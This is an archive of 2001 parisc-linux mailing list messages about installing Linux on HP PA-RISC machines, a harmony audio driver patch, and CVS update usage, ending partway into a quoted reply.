Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA21581;
	Wed, 5 Sep 2001 14:15:37 -0400
X-Sender: nick@ns
In-Reply-To: <20010905152132.D29327@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12119

I am useing the debian narrow kernel, along with the attached ramdisk.  I
can check on the versions it contains.
	Nick

On Wed, 5 Sep 2001, Matthew Wilcox wrote:

> On Wed, Sep 05, 2001 at 01:18:19AM -0400, nick@snowman.net wrote:
> > Writing inode tables: done                            
> > Writing superblocks and filesystem accounting information: done
> > # 
> > # # EXT2-fs error (device sd(8,2)): ext2_readdir: bad entry in directory
> > #2: rec_len % 4 != 0 - offset=0, inode=1701996660, rec_len5
> > 
> > This happens every time I try and mount a partition.  Is the 715 scsi
> > unsupported as well?
> 
> What version of e2fsprogs do you have installed?
> 
> -- 
> Revolutions do not require corporate support.
> 





From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing linux on HP systems
Date: Wed, 5 Sep 2001 14:16:14 -0400 (EDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109051415410.8790-100000@ns>
References: <20010905153917.M11744@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620460 25020 80.91.229.3 (22 Nov 2014 01:41:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:00 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 12:16:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59F9B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 12:16:23 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA21588;
	Wed, 5 Sep 2001 14:16:14 -0400
X-Sender: nick@ns
In-Reply-To: <20010905153917.M11744@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12120

I only have one device connected (a single 1gig scsi disk), which appeared
to work fine in HP-UX.  Are there any debugging options I could/should
enable?
	Nick

On Wed, 5 Sep 2001, Richard Hirst wrote:

> On Wed, Sep 05, 2001 at 10:19:37AM -0400, Carlos O'Donell Jr. wrote:
> > > > Hi, I've got a C180 and a 715 that I'm trying to install linux on.  The
> > > > C180 has various issues that I belive are being worked on, so I moved on
> > > > to the 715.  On the 715 I get errors allong the lines of:
> > > > Writing inode tables: done                            
> > > > Writing superblocks and filesystem accounting information: done
> > > > # 
> > > > # # EXT2-fs error (device sd(8,2)): ext2_readdir: bad entry in directory
> > > > #2: rec_len % 4 != 0 - offset=0, inode=1701996660, rec_len5
> > > > 
> > > > This happens every time I try and mount a partition.  Is the 715 scsi
> > > > unsupported as well?
> > > 
> > > 715 scsi is supported, and works for many people.  Sorry, I don't know
> > > what might be causing your problem.
> > > 
> > > Richard
> > 
> > 
> > We generally insert scsi-wrangling-magic as kernel parameters:
> > 
> > sim700=noneg:0xff,nodisc:0xff
> > 
> > And it works beautifully after that.
> 
> Ah, yes, I'd forgotten about that issue.  That is potentially needed if
> you have more than one device active on the bus, at least.
> 
> Thanks,
>  Richard
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: What's a "Trace/breakpoint trap" and why does he crash my system?
Date: Wed, 5 Sep 2001 21:03:09 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20010905210309.A9929@middle.of.nowhere>
References: <20010901155006.A4594@middle.of.nowhere> <20010901203232.A5963@middle.of.nowhere> <20010901201455.M5126@parcelfarce.linux.theplanet.co.uk> <20010901212835.A18546@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620460 25023 80.91.229.3 (22 Nov 2014 01:41:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 13:03:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id A16A1482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 13:03:22 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id VAA02258
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Sep 2001 21:03:21 +0200 (CEST)
Original-Received: (qmail 9934 invoked from network); 5 Sep 2001 19:03:11 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 5 Sep 2001 19:03:11 -0000
Original-Received: (qmail 10893 invoked by uid 500); 5 Sep 2001 19:03:09 -0000
Content-Disposition: inline
In-Reply-To: <20010901212835.A18546@middle.of.nowhere>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12121

On Sat, Sep 01, 2001 at 09:28:35PM +0200, thunder7@xs4all.nl wrote:
> On Sat, Sep 01, 2001 at 08:14:55PM +0100, Matthew Wilcox wrote:
> > On Sat, Sep 01, 2001 at 08:32:32PM +0200, thunder7@xs4all.nl wrote:
> > > should be 'Trace/breakpoint trap'
> > 
> > hmm.. what version of glibc do you have installed?  something else you
> > can do is run strace -ff which will attempt to follow fork/clone/vfork.
> > 
> 2.2.3-9. 2.2.4 is out, I know.
> 
> strace -ff:
> 
<snip strace output>

one strance thing is that it will run correctly under gdb (the 5.0-4
version off the 0.9.2 iso).

Without gdb, it always prints
Trace/breakpoint trap

and no other output. The C200 then hangs, 90% of the time even the
power-switch doesn't work. I'm getting some sort of yoga-training just
trying to reach behind it for the power-cord :-)

Since I don't know how to get earlier kernels (it doesn't work in
2.4.9-pa13, it works with 2.4.0 from the 0.9.2 iso) I can't do anything
else than whine about it again. Sorry about that.

Jurriaan
-- 
HORROR FILM WISDOM:
3. Do not search the basement, especially when the power has just gone out.
GNU/Linux 2.4.9-ac7 SMP/ReiserFS 2x1402 bogomips load av: 0.34 0.22 0.16




From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] harmony audio driver
Date: Thu, 06 Sep 2001 01:21:04 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <3B96B360.33152CC7@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------06DE913B762D92F32A78B84E"
X-Trace: ger.gmane.org 1416620461 25031 80.91.229.3 (22 Nov 2014 01:41:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 17:20:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD95016E2.dip.t-dialin.net [217.80.22.226])
	by dsl2.external.hp.com (Postfix) with SMTP id 9851B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 17:20:41 -0600 (MDT)
Original-Received: (qmail 5972 invoked from network); 5 Sep 2001 23:21:05 -0000
Original-Received: from tentakel.fischlustig.de (HELO fischlustig.de) (@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 5 Sep 2001 23:21:05 -0000
Original-Sender: andi@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:12122

This is a multi-part message in MIME format.
--------------06DE913B762D92F32A78B84E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

hi,

I implemented SNDCTL_DSP_CHANNELS in harmony.c, which is used to query
or set the number of sound channels. This allows some sound apps to run
that used to quit with an error.

I also added SNDCTL_DSP_SYNC that only returns 0 at the moment. This is
needed since neary all sound apps call this during initialization.

The sound driver however is still broken, the only program I know that
works 100% correctly is xmms. Maybe I will do some bug fixing later if
anyone is interested.

PS: is there a working patch to get keyboard running again on 712, it is
broken for months (since kernels after 2.4.0-paXX)

bye
   andi


--------------06DE913B762D92F32A78B84E
Content-Type: text/plain; charset=us-ascii;
 name="harmony.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="harmony.patch"

--- harmony.c	2001/08/19 15:21:11	1.13
+++ harmony.c	2001/09/05 23:07:13
@@ -680,6 +680,24 @@
 		harmony_set_rate(harmony_detect_rate(ival));
 		return put_user(ival, (int*) arg);
 
+	case SNDCTL_DSP_CHANNELS:
+		if (get_user(ival, (int *) arg))
+			return -EFAULT;
+		
+		if (ival > 0) {
+			if (ival == 1)
+				harmony_set_stereo(HARMONY_SS_MONO);
+			else
+				harmony_set_stereo(HARMONY_SS_STEREO);													
+		}
+
+		if (harmony.stereo_select == HARMONY_SS_STEREO)
+			ival = 2;
+		else
+			ival = 1;
+
+		return put_user(ival, (int *) arg);			
+			
 	case SNDCTL_DSP_STEREO:		/* _SIOWR('P', 3, int) */
 		if (get_user(ival, (int *) arg))
 			return -EFAULT;
@@ -693,6 +711,9 @@
 		return put_user(ival, (int *) arg);
 		
 	case SNDCTL_DSP_RESET:
+		return 0;
+	
+	case SNDCTL_DSP_SYNC:
 		return 0;
 
 	case SNDCTL_DSP_SETFMT:		/* _SIOWR('P',5, int) */

--------------06DE913B762D92F32A78B84E--





From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] harmony specs?
Date: Thu, 06 Sep 2001 03:00:24 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <3B96CAA7.46488BA8@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620461 25032 80.91.229.3 (22 Nov 2014 01:41:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:01 +0000 (UTC)
To: alex@linuxcare.com, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 18:59:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD95016E2.dip.t-dialin.net [217.80.22.226])
	by dsl2.external.hp.com (Postfix) with SMTP id BF5F2482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 18:59:58 -0600 (MDT)
Original-Received: (qmail 6047 invoked from network); 6 Sep 2001 01:00:24 -0000
Original-Received: from tentakel.fischlustig.de (HELO fischlustig.de) (@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 6 Sep 2001 01:00:24 -0000
Original-Sender: andi@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:12123

hi,

I started to improve the pa-risc harmony driver. Now I am stuck since I
dont have the specifications for that chip, can you help me with any
documents or document sources?

andi






From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] harmony audio driver
Date: Thu, 06 Sep 2001 03:25:55 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <3B96D0A2.81EC8688@fischlustig.de>
References: <3B96B360.33152CC7@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620461 25065 80.91.229.3 (22 Nov 2014 01:41:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 19:25:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD95016E2.dip.t-dialin.net [217.80.22.226])
	by dsl2.external.hp.com (Postfix) with SMTP id 7BA04482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 19:25:28 -0600 (MDT)
Original-Received: (qmail 14335 invoked from network); 6 Sep 2001 01:25:55 -0000
Original-Received: from tentakel.fischlustig.de (HELO fischlustig.de) (@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 6 Sep 2001 01:25:55 -0000
Original-Sender: andi@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:12124

> The sound driver however is still broken, the only program I know that
> works 100% correctly is xmms.

I just found out that mpg123 runs and sounds perfectly now(now you should
merge the patch in ;-) )

PS: to compile mpg123 you can type make linux-ppc, it works.







From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS Uptodate
Date: Wed, 5 Sep 2001 23:20:58 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20010905232058.A1365@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620462 25069 80.91.229.3 (22 Nov 2014 01:41:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:02 +0000 (UTC)
Cc: baldric-exec@baldric.uwo.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 21:20:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22B7A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 21:20:17 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f863OKG02636;
	Wed, 5 Sep 2001 23:24:20 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f863Kw501897;
	Wed, 5 Sep 2001 23:20:58 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (33% Sync Ratio [===.......])
Xref: news.gmane.org gmane.linux.ports.parisc:12125

Parisc'ers,

Just a quick question, I was wondering which CVS bits are
up to date?

- gcc (Yes)
- binutils (Someone recently said they were stale)
- linux (Yes)
- palo (Yes)
- glibc (No, debian pool has latest source)

I guess the debian pool would have the latest source for
everything?

Cheers,
Carlos.




From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS Uptodate
Date: Wed, 05 Sep 2001 21:28:46 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20010906032846.E3D1B37DD4@carmen.fc.hp.com>
References: <20010905232058.A1365@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620462 25073 80.91.229.3 (22 Nov 2014 01:41:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:02 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 21:28:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id D33A4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 21:28:47 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 3B21A14; Wed,  5 Sep 2001 23:28:47 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id E3D1B37DD4; Wed,  5 Sep 2001 21:28:46 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Carlos O'Donell Jr." <carlos@megatonmonkey.net> 
   of "Wed, 05 Sep 2001 23:20:58 EDT." <20010905232058.A1365@megatonmonkey.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12126

"Carlos O'Donell Jr." writes...

> Just a quick question, I was wondering which CVS bits are
> up to date?
> 
> - gcc (Yes)
> - binutils (Someone recently said they were stale)
> - linux (Yes)
> - palo (Yes)
> - glibc (No, debian pool has latest source)

These are all correct. Use uptream for binutils(or the Debian package works 
too). I might rename binutils and glibc to make it clear that they're not 
being kept up to date.

> I guess the debian pool would have the latest source for
> everything?

Unless you have a good reason to use pehc cvs, use the Debian packages for 
everything.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs update gives 'move away ....' on every file
Date: Wed, 05 Sep 2001 23:04:24 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200109060504.XAA09545@puffin.external.hp.com>
References: <20010905152944.A23742@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620462 25074 80.91.229.3 (22 Nov 2014 01:41:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 23:07:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79B24482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 23:07:11 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA09545;
	Wed, 5 Sep 2001 23:04:24 -0600
In-Reply-To: Message from thunder7@xs4all.nl 
   of "Wed, 05 Sep 2001 15:29:44 +0200." <20010905152944.A23742@middle.of.nowhere> 
Xref: news.gmane.org gmane.linux.ports.parisc:12127

thunder7@xs4all.nl wrote:
> - downloaded the linux-latest.tar.gz archive
> - created /home/cvs/parisc and made sure I had enough permissions

You can call this directory anything you want.
I have my linux source trees under /linux/pa64/linux.

...
> - typed 'cd /home/cvs/parisc; cvs update'

You didn't name the CVS repository to use and cvs got confused.

Try 'cd /home/cvs/parisc/linux; cvs update -APd'
Or  'cd /home/cvs/parisc; cvs update -APd linux'

I prefer "pwd" be the source tree I want updated from the repository.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs update gives 'move away ....' on every file
Date: Thu, 6 Sep 2001 13:18:37 +0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20010906131834.X16220@neep.com.au>
References: <20010905152944.A23742@middle.of.nowhere> <200109060504.XAA09545@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620463 25076 80.91.229.3 (22 Nov 2014 01:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 23:18:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.3.33])
	by dsl2.external.hp.com (Postfix) with SMTP id 30EB0482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 23:18:53 -0600 (MDT)
Original-Received: (qmail 29013 invoked by uid 666); 6 Sep 2001 05:18:48 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.192.151)
  by mail.iinet.net.au with SMTP; 6 Sep 2001 05:18:48 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id NAA31137
	for parisc-linux@lists.parisc-linux.org; Thu, 6 Sep 2001 13:18:40 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109060504.XAA09545@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Wed, Sep 05, 2001 at 11:04:24PM -0600
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:12128

Quoth Grant Grundler:
> You didn't name the CVS repository to use and cvs got confused.
> 
> Try 'cd /home/cvs/parisc/linux; cvs update -APd'
> Or  'cd /home/cvs/parisc; cvs update -APd linux'

... with "-d:pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc"
in there too, or your current environment's $CVSROOT set accordingly.

The -q and -z3 flags are good too, to avoid unnecessary chatter and to
compress the data stream a bit.  Avoid the temptation to crank up to -z9
as this just puts the server on its back for minimal gain.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] harmony specs?
Date: Wed, 05 Sep 2001 23:24:12 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <200109060524.XAA09644@puffin.external.hp.com>
References: <andi@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620463 25083 80.91.229.3 (22 Nov 2014 01:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andi <andi@fischlustig.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 23:26:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC884482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 23:26:30 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA09644;
	Wed, 5 Sep 2001 23:24:12 -0600
In-Reply-To: Message from Andi <andi@fischlustig.de> 
   of "Thu, 06 Sep 2001 03:00:24 +0200." <3B96CAA7.46488BA8@fischlustig.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:12129

Andi wrote:
> hi,
> 
> I started to improve the pa-risc harmony driver. Now I am stuck since I
> dont have the specifications for that chip, can you help me with any
> documents or document sources?

Try the LASI ERS on parisc-linux.org website.
Seems chapter 8 describes Harmony.

grant




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs update gives 'move away ....' on every file
Date: Thu, 6 Sep 2001 07:35:38 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20010906073538.A12771@middle.of.nowhere>
References: <20010905152944.A23742@middle.of.nowhere> <200109060504.XAA09545@puffin.external.hp.com> <20010906131834.X16220@neep.com.au>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620463 25087 80.91.229.3 (22 Nov 2014 01:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 23:35:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BBDF482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 23:35:45 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id HAA21841
	for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Sep 2001 07:35:43 +0200 (CEST)
Original-Received: (qmail 12786 invoked from network); 6 Sep 2001 05:35:42 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 6 Sep 2001 05:35:42 -0000
Original-Received: (qmail 13243 invoked by uid 500); 6 Sep 2001 05:35:38 -0000
Content-Disposition: inline
In-Reply-To: <20010906131834.X16220@neep.com.au>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12130

On Thu, Sep 06, 2001 at 01:18:37PM +0800, Andrew Shugg wrote:
> Quoth Grant Grundler:
> > You didn't name the CVS repository to use and cvs got confused.
> > 
> > Try 'cd /home/cvs/parisc/linux; cvs update -APd'
